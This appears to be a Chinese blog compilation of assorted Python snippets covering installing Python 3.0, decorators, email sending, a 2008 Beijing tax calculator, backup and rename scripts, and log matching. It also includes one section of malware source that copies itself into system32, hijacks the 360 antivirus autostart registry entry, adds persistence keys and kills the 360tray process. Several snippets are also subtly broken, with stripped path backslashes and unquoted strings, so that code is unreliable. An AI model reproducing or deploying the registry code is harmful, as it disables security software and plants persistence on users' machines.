一,python3.0 在linux centerOS 5.2上的编译安装
首先,到www.python.org去下载最新的3.0版:
wget http://www.python.org/ftp/python/3.0/Python-3.0.tgz,大小11M
#tar zxvf Python-3.0.tgz
解压后执行
#./configure
通过
#make
出这么一个错误:
make: *** [sharedmods] 错误 1
查找网上说是locale的问题:
"Python fails
silently on bad locale" bug:
http://bugs.python.org/issue2173
#locale
LANG=zh_CN.UTF-8
LC_COLLATE="zh_CN.GB2312"
LC_CTYPE="zh_CN.GB2312"
LC_MESSAGES="zh_CN.GB2312"
LC_MONETARY="zh_CN.GB2312"
LC_NUMERIC="zh_CN.GB2312"
LC_TIME="zh_CN.GB2312"
LC_ALL=zh_CN.GB2312
是LC_CTYPE的值zh_CN.GB2312不是对Python合法的值,
# export LC_ALL=zh_CN.UTF-8
# locale
LANG=zh_CN.UTF-8
LC_CTYPE="zh_CN.UTF-8"
LC_NUMERIC="zh_CN.UTF-8"
LC_TIME="zh_CN.UTF-8"
LC_ALL=zh_CN.UTF-8
#make
总体成功了,但出如下的错误:
Failed to find the necessary bits to build these modules:
_tkinter
To find the necessary bits, look in setup.py in detect_modules() for the module's name.
这是图形库,可以不管。
#make install
....
* Note: not installed as 'python'.
* Use 'make fullinstall' to install as 'python'.
* However, 'make fullinstall' is discouraged,
* as it will clobber your Python 2.x installation.
安装成功,但没有替换原来的2.x的版本。如果想替换,可以执行"make fullinstall"
执行:
# python3.0
Python 3.0 (r30:67503, Dec 18 2008, 16:31:33)
[GCC 4.1.2 20071124 (Red Hat 4.1.2-42)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
二,python 中的@符号
python 2.4以后,增加了@符号修饰函数对函数进行修饰,python3.0/2.6又增加了对类的修饰。我现在使用的python版本,支持对class的修饰:
zhouhh@zhouhh-home:~$ python
Python 2.6.4 (r264:75706, Dec 7 2009, 18:45:15)
[GCC 4.4.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
@修饰符挺像是处理函数或类之前进行预处理。
语法示例:
@dec1
@dec2
def test(arg):
pass
其效果类似于
dec1(dec2(test(arg)))
修饰函数还可以带参数。
@dec1(arg1,arg2)
def test(testarg)
效果类似于
dec1(arg1,arg2)(test(arg))
用法示例
示例1 参数类型和返回值类型检查
对于python这样的动态语言,不像C++这样的一开始就有严格静态的类型定义。但是,在某些情况下,就需要这样的类型检查,那么可以采用@修饰的方式。下面的示例就是检查输入参数类型和返回值类型的例子。
#!/usr/bin/env python
#coding:utf8
def accepts (* types) :
def check_accepts ( f) :
assert len ( types) == f. func_code. co_argcount
def new_f (* args, ** kwds) :
for ( a, t) in zip ( args, types) :
assert isinstance ( a, t), /
"arg %r does not match %s " % ( a, t)
return f(* args, ** kwds)
new_f. func_name = f. func_name
return new_f
return check_accepts
def returns ( rtype) :
def check_returns ( f) :
def new_f (* args, ** kwds) :
result = f(* args, ** kwds)
assert isinstance ( result, rtype), /
"return value %r does not match %s " % ( result, rtype)
return result
new_f. func_name = f. func_name
return new_f
return check_returns
@ accepts ( int , ( int , float ))
@ returns (( int , float ))
def func ( arg1, arg2) :
return arg1 * arg2
if __name__ == '__main__ ':
a = func( 3 , 'asdf ')
zhouhh@zhouhh-home:~$ ./checktype.py
Traceback (most recent call last):
File "./checktype.py", line 27, in <module>
@returns((int,float))
File "./checktype.py", line 5, in check_accepts
assert len(types) == f.func_code.co_argcount
AssertionError
其实,xml-rpc中,对于函数参数,返回值等都需要采用xml的方式传递到远程再调用,那么如何检查类型呢?就可以用到如上的@修饰符。
转自:http://blog.csdn.net/ablo_zhou/article/details/5471952
三,python 发email
#!/usr/bin/env python
#coding:utf8
# Import smtplib for the actual sending function
import smtplib
#第一封邮件
# Import the email modules we'll need
from email.mime.text import MIMEText
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
textfile='sendmail.py.html'
fp = open(textfile, 'rb')
# Create a text/plain message
msg = MIMEText(fp.read(),'html','utf8') #这是正确显示Html中文的设置,会解析html标签,不再是原始文本。
msg.set_charset('utf8')#这是正确显示中文的设置
fp.close()
me = '[email protected]'# the sender's email address
you = '[email protected]'# the recipient's email address
msg['Subject'] = 'The contents of %s,中文标题' % textfile
msg['From'] = me
msg['To'] = you
# Send the message via our own SMTP server, but don't include the
# envelope header.
s = smtplib.SMTP('210.211.225.5')
#s.login()
s.sendmail(me, [you], msg.as_string())
s.quit()
更多参考:http://docs.python.org/library/email-examples.html
四,一段计算北京2008年最新税后收入的python代码
下面的代码用于计算北京2008年7月1号后,扣除社会保险,公积金和个人所得税后收入。如果和你的收入不一致,可能公司财务计算基数等有差别。根据自己需要修改代码即可。
用法:money(税前工资,是否有社会保险(0,1),是否有住房公积金(0,1))
#!/bin/env python
# author: zhouhh
# email: [email protected]
# date: 2008.6.17
# money.py
def money(all_salary,has_welfare,has_housing_fund):
money = all_salary
bj_average_salary=3322;#in 2008 using average salary of year 2007
min = bj_average_salary*0.6
max = bj_average_salary*3
welfare_fund = all_salary
if all_salary > max:
welfare_fund = max
if all_salary < min:
welfare_fund = min
print("total money=%.2f"%all_salary)
medical_fund=welfare_fund*0.02+3
retire_fund=welfare_fund*0.08
unemploy_fund =welfare_fund*0.005
if not has_welfare:
welfare_fund = 0
medical_fund=0
retire_fund=0
unemploy_fund =0
else:
print("medical fund = %d*0.02+3=%.2f"%(welfare_fund,medical_fund) )
print("retirement fund = %d*0.08 =%.2f"%(welfare_fund,retire_fund) )
print("unemployment fund = %d*0.005=%.2f"%(welfare_fund,unemploy_fund ))
housing_fund=welfare_fund*0.12
if not has_housing_fund:
housing_fund = 0
else:
print("housing fund = %d*0.12=%.2f"%(welfare_fund,housing_fund))
all_welfare_fund=medical_fund+retire_fund+unemploy_fund +housing_fund
print("all welfare fund=%.2f"% all_welfare_fund)
money -=all_welfare_fund
before_tax = money
print("before tax money =%.2f"%before_tax )
if before_tax < 2000 :
print(" you have no tax,you own money=%.2f"%before_tax)
return before_tax
#after 2008.3.1 tax
l1=500*0.05 #2000-2500, %5
l2=1500*0.10 #2500-4000 %10 +=25
l3=3000*0.15 #4000-7000 %0.15 +=175
l4=15000*0.20 #7000-22000 %20 += 625
l5=20000*0.25 #22000-42000 %25 +=3625
l6=20000*0.30 #42000-62000 %30 +=8625
l7=20000*0.35 #62000-82000 %35 +=14625
l8=20000*0.40 #82000-102000 %40 +=21625
l9=0 # +=29625
money -=2000
tax=0;
if money<500:
l1=money*0.05
tax=l1
print("you are in level 1,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 500
if money<1500:
l2=money*0.10
tax=l1+l2
print("you are in level 2,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 1500
if money<3000:
l3=money*0.15
tax=l1+l2+l3
print("you are in level 3,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 3000
if money<15000:
l4=money*0.20
tax=l1+l2+l3+l4
print("you are in level 4,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 15000
if money<20000:
l5=money*0.25
tax=l1+l2+l3+l4+l5
print("you are in level 5,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 20000
if money<20000:
l6=money*0.30
tax=l1+l2+l3+l4+l5+l6
print("you are in level 6,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 20000
if money<20000:
l7=money*0.35
tax=l1+l2+l3+l4+l5+l6+l7
print("you are in level 7,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 20000
if money<20000:
l8=money*0.40
tax=l1+l2+l3+l4+l5+l6+l7+l8
print("you are in level 8,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
money -= 20000
l9=money*0.45
tax=l1+l2+l3+l4+l5+l6+l7+l8+l9
print("you are in level 9,tax =%.2f, you own money=%.2f"%(tax,(before_tax-tax)))
return before_tax-tax
五,用python脚本定期备份文件
#!/usr/bin/env python
# file name : backup.py
# author: zhouhh
# blog: http://blog.csdn.net/ablo_zhou
# Email: [email protected]
# Date : 2008.5.21
# back up files and dir to a time format tgz file.
# you could add this script to crontab
#
import os
import time
source=['/home/zhouhh/test/','/home/zhouhh/test1/']
print ' backup files:',source
target_dir='/home/zhouhh/backup/'
target=target_dir+time.strftime('%Y%m%d%H%M%S')+'.tar.gz'
cmd='tar -zcvf %s %s '%(target,' '.join(source))
if os.system(cmd)==0 :
print 'successfull backup to ',target
else:
print 'failed backup'
可以将这个脚本加入crontab中,定期备份文件。如需要备份到windows,需要先mount windows分区,然后将目标地址修改为mount到的分区目录。
#!/usr/bin/python
# Filename: backup_ver4.py
import os
import time
# 1. The files and directories to be backed up are specified in a list.
source = ['/home/python', '/home/python']
# If you are using Windows, use source = [r'C:\Documents', r'D:\Work'] or something like that
# 2. The backup must be stored in a main backup directory
target_dir = '/mnt/e/backup/' # Remember to change this to what you will be using
# 3. The files are backed up into a zip file.
# 4. The current day is the name of the subdirectory in the main directory
today = target_dir + time.strftime('%Y%m%d')
# The current time is the name of the zip archive
now = time.strftime('%H%M%S')
# Take a comment from the user to create the name of the zip file
comment = raw_input('Enter a comment --> ')
if len(comment) == 0: # check if a comment was entered
target = today + os.sep + now + '.zip'
else:
target = today + os.sep + now + '_' + \
comment.replace(' ', '_') + '.zip'
# Notice the backslash!
# Create the subdirectory if it isn't already there
if not os.path.exists(today):
os.mkdir(today) # make directory
print 'Successfully created directory', today
# 5. We use the zip command (in Unix/Linux) to put the files in a zip archive
zip_command = "zip -qr '%s' %s" % (target, ' '.join(source))
# Run the backup
if os.system(zip_command) == 0:
print 'Successful backup to', target
else:
print 'Backup FAILED'
#(源文件:code/backup_ver4.py)
六,生成源码字典的python脚本vim在编写C语言代码时,可以设置字典,以自动完成。:set dictionary=mydict 将其放到.vimrc中。
在编辑模式,Ctrl+x,Ctrl+k即可以根据字典自动完成输入。
将下面的脚本放到源码目录执行,即可生成mydict字典文件。
该脚本稍做修改即可用于对文本进行统计,生成统计数据。可用于搜索或者输入法,或者语音合成。
#!/bin/env python
# file name :mkdict
# author: zhouhh
# blog: http://blog.csdn.net/ablo_zhou
# Email: [email protected]
# Date : 2008.4.02
import subprocess
import glob
import re
import os
files = glob.glob("*") #raw_input("input your file name:")
dict = {}
for i in files:
print i
if not os.path.isfile(i):
continue
f=open(i,"r")
key=""
for line in f.readlines():
key = re.findall("^[a-zA-Z]w*",line)
for j in key:
dict[j] =dict.get(j,0)+ 1
f.close()
w = open("mydict","w+")
for k in sorted(dict.keys()):
w.write(k)
w.write(" ")
w.close()
七,用python 找到不存在的数字
先用bash脚本排序,然后用python脚本找出丢失的数字。当然,也可以完全在python脚本中完成。
#!/usr/bin/python
# filename:findlost.py
# author: zhouhh
# http://blog.csdn.net/ablo_zhou
# email:[email protected]
# date:2008.3.31
# Find out what number is lost from a file
import os
infilename = raw_input("in file name [rawpack]:");
outfilename = raw_input("out file name [outfile]:");
if infilename =="" :
infilename="rawpack";
if outfilename =="" :
outfilename="outfile";
cmd = ("sort.sh",infilename,outfilename)
os.system(' '.join(cmd))
f = open(outfilename);
i=0
pkid = 0
count = 0
while True :
line = f.readline()
if len(line) == 0:
f.close()
break
pkid = int(line)
if pkid>i:
print "lost package ",i
i+=1
count +=1
i+=1
print "================================="
print "total package num is",pkid,",lost package count:",count
执行结果:
$ ./findlost.py
in file name [rawpack]:
out file name [outfile]:
./sort.sh,rawpack,outfile
lost package 1707
lost package 2126
lost package 2139
lost package 2278
lost package 2280
lost package 2475
lost package 2763
lost package 3014
lost package 3072
lost package 3165
lost package 3271
=================================
total package num is 3778 ,lost package count: 11
八,Python批量修改文件后缀脚本
批量修改文件后缀名:
使用方法:s_rename(路径,原后缀,新后缀)
#!/usr/bin/python
import os,string
def s_rename(path,old_ext,new_ext):
for (path, dirs, files) in os.walk(path):
for filename in files:
ext=os.path.splitext(filename)[1]
if (cmp(ext,old_ext)==0):
newname=filename.replace(old_ext,new_ext)
oldpath=path+"\"+filename
newpath=path+"\"+newname
print "oldpath:"+oldpath+""
print "newpth:"+newpath+""
try:
os.rename(oldpath, newpath)
except ValueError:
print "Error when rename the file " + oldpath
except NameError:
print "Error when rename the file " + oldpath
except OSError:
#print OSError
print newpath + " The file is already exist!"
if __name__ == __main__:
s_rename("F:\code",".ph",".pl")
#print "test"
九,用python修改注册表干掉360safe
import _winreg
import os
import shutil
#复制自身
shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)
#把360启动改为自身
run = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"360Safetray",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
#添加自启动
self = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
#添加所有用户启动
allrun = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
allrun,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
#终止360进程
os.popen("ntsd -c q -pn 360tray.exe cmd")
九,python匹配相关网站日志
#!usr/bin/python
#coding: utf-8
import re, time
def calTime(func):
def wrapper():
start = time.time()
func()
end = time.time()
print end - start
return wrapper
@calTime
def sumAll():
pattern = re.compile(u'/home/shopping/public_html/(.*)', re.I | re.S)
f = open('new_log.txt', 'w')
repeat = [];
for line in open('error_log.log'):
match = pattern.search(line)
if match:
repeat.append(match.group(0))
no_repeat = set(repeat)
for line in no_repeat:
f.write(line)
sumAll()
附录一:
一、什么是五险一金?
“五险一金”讲的是五种保险,包括养老保险(retirement fund)、医疗保险(medical fund)、
失业保险(unemployment fund)、工伤保险、生育保险和住房公积金(housing fund)。
其中养老保险、医疗保险和失业保险,这三种险是由企业和个人共同缴纳的保费,工伤保险和生育
保险完全是由企业承担的。个人不需要缴纳。这里要注意的是“五险”是法定的,而“一金”不是法定的。
“五险一金”的缴费比例:
医疗保险:其中单位部分按10%计缴,职工个人部分按2%计缴。
养老保险:基数为上年度平均工资,缴费比例为20%,其中8%记入个人账户,个人比例为8%。
失业保险:其中单位部分按2%计缴,职工个人部分按1%计缴。
注:目前北京养老保险缴费比例:单位20%(其中17%划入统筹基金,3%划入个人帐户),
个人8%(全部划入个人帐户);医疗保险缴费比例:单位10%,个人2%+3元;失业保险缴费比例:
单位1.5%,个人0.5%;工伤保险根据单位被划分的行业范围来确定它的工伤费率;生育保险缴费比例:
单位0.8%,个人不交钱。
职工缴费基数按照本人上一年月平均工资计算,缴费基数上限统一按上年本市职工月平均工资的300%确定,
养老、失业、工伤保险缴费基数下限统一按上年本市最低工资确定,生育保险缴费基数下限和外地农民工
参加工伤保险缴费基数下限按上年本市职工月平均工资的60%确定。(最低工资标准不包含劳动者个人应
缴纳的各项社会保险费和住房公积金;劳动者在中班、夜班、高温、低温、井下、有毒有害等特殊工作环境、
条件下的津贴;劳动者应得的加班、加点工资。为保障低收入群体的基本生活,北京一般是每年上浮一次
最低工资。)
二、基本公式:
实付工资 = 税前工资-(基本养老保险+医疗保险+失业保险+住房公积金)-个人所得税
缴费工资基数:上一年度的月平均工资(第一年工作的是当年月平均工资),
最低限额: 目前,北京市职工最低工资标准为每月730元,小时最低工资标准为4.36元。(2008 有望到800)
最高限额:最高不能超过本市上年职工月平均工资的3倍 (2007年北京这个上限为3322×3=9966元)
三、各项计算方法:(税前工资7000元为例)
1.基本养老保险
个人缴纳:缴费工资基数×8%
最高限额:9966*8%=797
企业缴纳:缴费工资基数×20%
2.医疗保险
(1) 基本医疗保险:
个人缴纳:缴费工资基数 ×2%
企业缴纳:缴费工资基数×9%
(2) 大额医疗费用互助资金:
个人缴纳:3元
企业缴纳:缴费工资基数×1%
3.失业保险
个人缴纳:缴费工资基数×0.5% 企业缴纳:缴费工资基数×1.5%
4.工伤保险
企业缴纳:缴费工资基数×0.4%(因行业不同0.2%-3%企业缴费,个人不负担,IT业0.4%)
5.住房公积金
个人缴纳:缴费工资基数×12% (从2008年7月1日起)
最高限额从2008年7月1日起调整为9966*0.12=1196
企业缴纳:缴费工资基数×12%
最高限额从2008年7月1日起调整为1196
6.个人所得税
基数从2008年3月1日起调整为2000元
个人所得税计算公式:
1不超过500元的部分,税率5%,速算扣除数为0; 2超过500元至2000元的部分,税率10%,速算扣除数为25 3超过2000元至5000元的部分,税率15 %,速算扣除数为175 4超过5000元至20000元的部分,税率20 %,速算扣除数为625 5超过20000元至40000元的部分,税率25%,速算扣除数为3625
6超过40000元至60000元的部分,税率30%,速算扣除数为8625 7超过60000元至80000元的部分,税率35%,速算扣除数为14625 8超过80000元至100000元的部分,税率40%,速算扣除数为21625 9超过100000元的部分,税率45%,速算扣除数为29625 个人每月收入减去三险一金,减去起征点(2000),剩下的部分套用上面的公式。
年终奖扣税:
年终奖金单独作为一个月的工资,计算交纳所得税。 本人年终奖金总额÷12,根据商数去查找适用的税率和速算扣除数,然后按下列公式计算: 奖金总额×适用的税率-速算扣除数
以上部分内容来自互联网,在此表示感谢!